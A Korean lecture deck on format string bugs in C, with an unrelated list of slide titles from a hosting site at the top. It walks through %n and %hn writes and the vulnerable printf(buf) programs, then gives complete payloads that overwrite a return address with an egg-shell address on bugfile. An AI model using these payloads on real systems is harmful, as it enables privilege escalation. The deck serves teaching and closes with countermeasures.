Chapter 9 Format String Bug (FSB)

Slides:



Advertisements
Similar presentations
Chapter 12. 배열. 배열  동일한 항목들이 동일한 크기로 연속적으로 메모리에 저장되는 구조  동일한 자료 유형이 여러 개 필요한 경우에 이용할 수 있는 자료 구조.
Advertisements

6 장. printf 와 scanf 함수에 대한 고찰 printf 함수 이야기 printf 는 문자열을 출력하는 함수이다. – 예제 printf1.c 참조 printf 는 특수 문자 출력이 가능하다. 특수 문자의 미 \a 경고음 소리 발생 \b 백스페이스 (backspace)
1 08 배열. 한국대학교 객체지향연구소 2 C 로 배우는 프로그래밍 기초 2 nd Edition 배열  동일한 자료유형의 여러 변수를 일괄 선언  연속적인 항목들이 동일한 크기로 메모리에 저장되는 구조  동일한 자료 유형이 여러 개 필요한 경우에 이용할 수 있는.
1. 2 차원 배열  배열은 동일한 데이터 유형으로 여러 개의 변수를 사용할 경우 같은 이 름으로 지정하여 간편하게 사용할 수 있도록 하는 것으로서 앞에서 1 차원 배열을 공부하였습니다.  2 차원 배열은 바둑판을 생각하면 되며, 1 차원 배열에서 사용하는 첨자를 2.
- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
Format String Attack! 포맷 스트링 공격 경일대학교 사이버보안학과 학년 남주호.
ㅎㅎ 구조체 구조체 사용하기 함수 매개변수로서의 구조체 구조체 포인터와 레퍼런스 구조체 배열.
쉽게 풀어쓴 C언어 Express 제11장 포인터 C Express Slide 1 (of 27)
쉽게 풀어쓴 C언어 Express 제11장 포인터 C Express.
2장. 프로그램의 기본 구성. 2장. 프로그램의 기본 구성 2-1"Hello, World!" 들여다 보기 /* Hello.c */ #include int main(void) { printf("Hello, World! \n"); return 0;
쉽게 풀어쓴 C언어 Express 제11장 포인터 C Express.
Chapter 7. 조건문.
#include <stdio.h> int main(void) { float radius; // 원의 반지름
제 9 장 구조체와 공용체.
쉽게 풀어쓴 C언어 Express 제18장 입출력과 라이브러리 함수 C Express.
3장. 변수와 연산자. 3장. 변수와 연산자 3-1 연산자, 덧셈 연산자 연산자란 무엇인가? 연산을 요구할 때 사용되는 기호 ex : +, -, *, / 3-1 연산자, 덧셈 연산자 연산자란 무엇인가? 연산을 요구할 때 사용되는 기호 ex : +, -, *, /
3. printf()와 데이터 형식.
윤성우의 열혈 C 프로그래밍 윤성우 저 열혈강의 C 프로그래밍 개정판 Chapter 12. 포인터의 이해.
5장 배열 작성자 : 변재현.
쉽게 풀어쓴 C언어 Express 제16장 파일 입출력 C Express Slide 1 (of 23)
FSB 숭실대학교 ACK 박수완(LinkC)
윤성우의 열혈 C 프로그래밍 윤성우 저 열혈강의 C 프로그래밍 개정판 Chapter 02. 프로그램의 기본구성.
11장. 포인터 01_ 포인터의 기본 02_ 포인터와 Const.
SqlParameter 클래스 선문 비트 18기 발표자 : 박성한.
컴퓨터 프로그래밍 기초 #02 : printf(), scanf()
Chapter 06. printf 함수와 scanf 함수 정리하기
파일 기술자 파일 기술자 현재 열려있는 파일을 구분하는 정수값 저수준 파일 입출력에서 열린 파일을 참조하는데 사용
2주차: 변수, 수식, Control Flow.
11 표준 입출력과 파일 입출력 데이터를 읽고 쓰는 다양한 방법 익히기!.
6장. printf와 scanf 함수에 대한 고찰
14장. 포인터와 함수에 대한 이해.
C++ 프로그래밍 년 2학기 전자정보공학대학 컴퓨터공학부.
11장. 1차원 배열.
C 8장. 포인터 #include <stdio.h> int main(void) { int num;
JA A V W. 03.
사용자 함수 사용하기 함수 함수 정의 프로그램에서 특정한 기능을 수행하도록 만든 하나의 단위 작업
어서와 C언어는 처음이지 제14장.
13. 포인터와 배열! 함께 이해하기 IT응용시스템공학과 김 형 진 교수.
3장 상수 변수 기본 자료형 키워드와 식별자 상수와 변수 기본 자료형 형변환 자료형의 재정의.
24장. 파일 입출력.
쉽게 풀어쓴 C언어 Express 제14장 포인터 활용 C Express Slide 1 (of 22)
상수와 기본 자료형.
19. 함수 포인터와 void 포인터.
3장. 변수와 연산자 교안 : 전자정보통신 홈페이지 / 커뮤니티/ 학술세미나
포인터 1차원 배열과 포인터 2차원 배열과 포인터 문자열 배열과 포인터 포인터 배열
컴퓨터 프로그래밍 기초 - 10th : 포인터 및 구조체 -
2장. 변수와 타입.
5장 배열과 문자열 C 프로그래밍.
컴퓨터 프로그래밍 기초 - 8th : 함수와 변수 / 배열 -
8주차: Strings, Arrays and Pointers
5장 선택제어문 if 선택문 switch-case 선택문 다양한 프로그램 작성 조건 연산자.
Choi Seong Yun 컴퓨터 프로그래밍 기초 #03 : 변수와 자료형 Choi Seong Yun
Canary value 스택 가드(Stack Guard).
^^ Computer Programming 2 dmpr.cnu.ac.kr/~daygax.
4장. 데이터 표현 방식의 이해. 4장. 데이터 표현 방식의 이해 4-1 컴퓨터의 데이터 표현 진법에 대한 이해 n 진수 표현 방식 : n개의 문자를 이용해서 데이터를 표현 그림 4-1.
컴퓨터 프로그래밍 기초 - 9th : 배열 / 포인터 -
구조체(struct)와 공용체(union)
Numerical Analysis Programming using NRs
Chapter 12 파일 입출력.
바이트 순서 변환 함수 주소 변환 함수 바이트 조작 함수 원격지 호스트 정보를 얻는 함수
실습과제 (변수와 자료형, ) 1. 다음 작업 (가), (나), (다)를 수행하는 프로그램 작성
17장. 문자열 01_ 문자열 사용의 기본 02_ 문자열의 사용.
제 29 강 스트링(string) 다루기 s a i s . s T i h t g r i n.
1. 지역변수와 전역변수 2. auto, register 3. static,extern 4. 도움말 사용법
어서와 C언어는 처음이지 제21장.
C.
개정판 누구나 즐기는 C언어 콘서트 제13장 동적 메모리 출처: pixabay.
13. 포인터와 배열! 함께 이해하기.
Pointers summary.
2019 2학기 9장 배열과 포인터 1. 주소, 주소연산자(&) 2. 포인터, 역참조연산자(*) 3. 배열과 포인터.
Presentation transcript:

Chapter 9 Format String Bug (FSB)

contents 1. Format String (FS)에 대한 이해. 2. FSB를 이용한 공격수행.

Format String에 대한 이해 Format String Bug (FSB) Format String ? - C언어에서 일반적으로 Data(변수)를 입.출력문에서 일정한 형태로 받아들이거나 출력하기 위하여 사용하는 기호. Bug ? - 일반적으로 컴퓨터 기술분야에서는 기술적인 오류(Error)등을 지칭. Format String Bug 공격? - 출력문에서 올바르지 못한 방법을 악용하여 크래커들이 실제 메모리 번지를 공격하여 원하는 값으로 변경하거나 시스템의 루트(ROOT) 권한을 획득.

Format String에 대한 이해 C언어에서 일반적으로 Data(변수)를 입출력문에서 일정한 형태로 받아들이거나 출력하기 위하여 사용하는 기호. Ex) %d, %f, %c, %s, %x, %p ... - Format string 종류 파라미터(Parameter) 변수 형식 %d 정수형 10진수 상수 (integer) %f 실수형 상수 (float) %lf 실수형 상수 (double)  %c 문자 값 (char) %s 문자 스트링 ((const)(unsigned) char *) %u 양의 정수 (10 진수) %o 양의 정수 (8 진수) %x 양의 정수 (16 진수) 문자열 %n * int (쓰인 총 바이트 수) %hn %n의 반인 2바이트 단위

Format String에 대한 이해 Format String의 사용 wishfree 문자열이 위치한 다음주소번지 올바른 포맷 스트링 함수 사용법 잘못된 포맷 스트링 함수 사용법 #include <stdio.h> void main(void){      char *buffer = “wishfree”;      printf("%s\n", buffer); } #include <stdio.h> void main(void){      char *buffer = “wishfree\n%x\n”;      printf(buffer); } wishfree 문자열이 위치한 다음주소번지

Format String에 대한 이해 #include <stdio.h> void main(void){      char *buffer = “wishfree\n%x\n”;      printf(buffer); } %x %x %x 와 같은식으로 ‘%x’ 문자열을 … 여러 개를 입력한다면? BOF (Buffer Overflow) 공격에서 dumpcode 함수와 같이 메모리의 내용을 출력해 볼 수 있을것 !!

Format String에 대한 이해 %n 을 이용하면 메모리의 내용도 변조 가능. %n 은 Format String Bug에서 핵심. %n 은 이전까지 입력되었는 문자열의 길이(Byte)수 만큼 해당변수에 저장시킴. ex) printf(“AAA AA%n”,&변수); -> 변수 = 6 (공백까지 포함)

Format String에 대한 이해 %n 연산자의 역할

Format String에 대한 이해 사용자 입력으로 메모리의 구조를 파악 #include <stdio.h> #include “dumpcode.h” Void main(){      char buffer[64]; fgets(buffer, 63, stdin);      printf(buffer); dumpcode((char*)buffer, 100); } 사용자 입력으로 메모리의 구조를 파악

그렇다면 특정번지에 값을 넣는 방법?? … 0xbffffd50 A 0xbffffd4F 0xbffffd4E 0xbffffd4D Format String에 대한 이해 … 0xbffffd50 A 0xbffffd4F 0xbffffd4E 0xbffffd4D 0xbffffd4C 0xbffffd4B 0xbffffd4A 0xbffffd49 0xbffffd48 [ 메모리의 구조 ] 그렇다면 특정번지에 값을 넣는 방법??

Format String에 대한 이해 %기호가 2개인 이유는 cat을 지나면서 1개는 사라짐. (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%n"; cat) | ./test6 주소는 4Byte로 구성되어 있으며 앞에서부터 작은값이 쓰여지게 된다.

RET (0xbffffabc) Format String에 대한 이해 0xbfabfabc 0xbfabfabc(16) = 3221224124(10) => RET에 대입불가! 0xbfab / 0xfabc => %hn 으로 2byte씩 나눔

Format String에 대한 이해 %hn 의 예 %기호가 2개인 이유는 cat을 지나면서 1개는 사라짐. %hn 의 예 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6

Format String에 대한 이해 큰 수 나누어 넣기 (printf “\x41\x41\x41\x41\x98\xfd\xff\xbf%%64180d%%hn”; cat) | ./test6 0xbfab / 0xfabc 등의 값을 넣기 위해서는 공백을 이용 1) 0xfabc = 64188(10) 64188 - 8 = %64180d 2) 0xbfab = 49067(10) Stack에서 주소가 bf로 시작되는 값은 ‘ - ’를 의미 ‘ - ’ 기호는 주소값 앞에는 보이지 않지만 1이 생략되어 있음. 0x1bfabfabc = -1079248196 0xfabc = 64188 - 8 = %64180d 0x1bfab = 114603 - 64180 = %50423d

Format String에 대한 이해 0xfabc = 64188 - 16 = %64172d %기호가 2개인 이유는 cat을 지나면서 1개는 사라짐. (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf \x41\x41\x41\x41\x9a\xfd\xff\xbf%%64180d%%hn%%50423d%%hn"; cat) | ./test6 0xfabc = 64188 - 16 = %64172d 0x1bfab = 114603 - (64172+16) = %50415d

Format String에 대한 이해 %기호가 2개인 이유는 cat을 지나면서 1개는 사라짐. (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf \x41\x41\x41\x41\x9a\xfd\xff\xbf%%64172d%%hn%%50415d%%hn"; cat) | ./test6

FSB를 이용한 공격수행 bugfile.c #include <stdio.h> main(){ int i =0;       char buf[64];       memset(buf, 0, 64);       read(0, buf, 64);       printf(buf); } 

FSB를 이용한 공격수행

FSB를 이용한 공격수행 Egg shell을 이용한 주소값 bugfile의 RET주소 (0xbffff36c ~ 0xbffff36e)에 egg shell에서 확보한 0xbffffd58을 입력 0xbffffd58 을 2 byte씩 나눔 fd58 = 64856 / 1bfff = 114687 0xfd58 = 64856 - 16 = %64840d 0x1bfff = 114687 - (64840+16) = %49831d

FSB를 이용한 공격수행 실 제 공 격 (printf "\x41\x41\x41\x41\x6c\xf3\xff\xbf \x41\x41\x41\x41\x6e\xf3\xff\xbf%%64840d%%hn%%49831d%%hn";cat) | ./bugfile

FSB 공격에 대한 대응책 포맷 스트링 공격에 대한 대응책은 printf 명령문과 같이 포맷스트링을 사용하는 함수를 정상적으로 사용하면, 문제가 생기지 않는다. 주요 취약 함수 printf("%s\n", buffer); fprintf (fp, 서식문자열, 인자1, ... , 인자N) // fp는 파일에 대한 포인터 값, fopen()로 파일을 쓰기모드로 개방 int sprintf (char *str, const char *fmt,...) // printf(“ “, (sprintf 문자열의 시작주소를 가지는 변수)); snprintf (char *str, size_t count, const char *fmt,...) //원하는 개수만큼 출력 유닉스 Sysem V에서 사용하는 함수 : vfprintf, vprintf, vsprintf, vsnprintf

Thank you.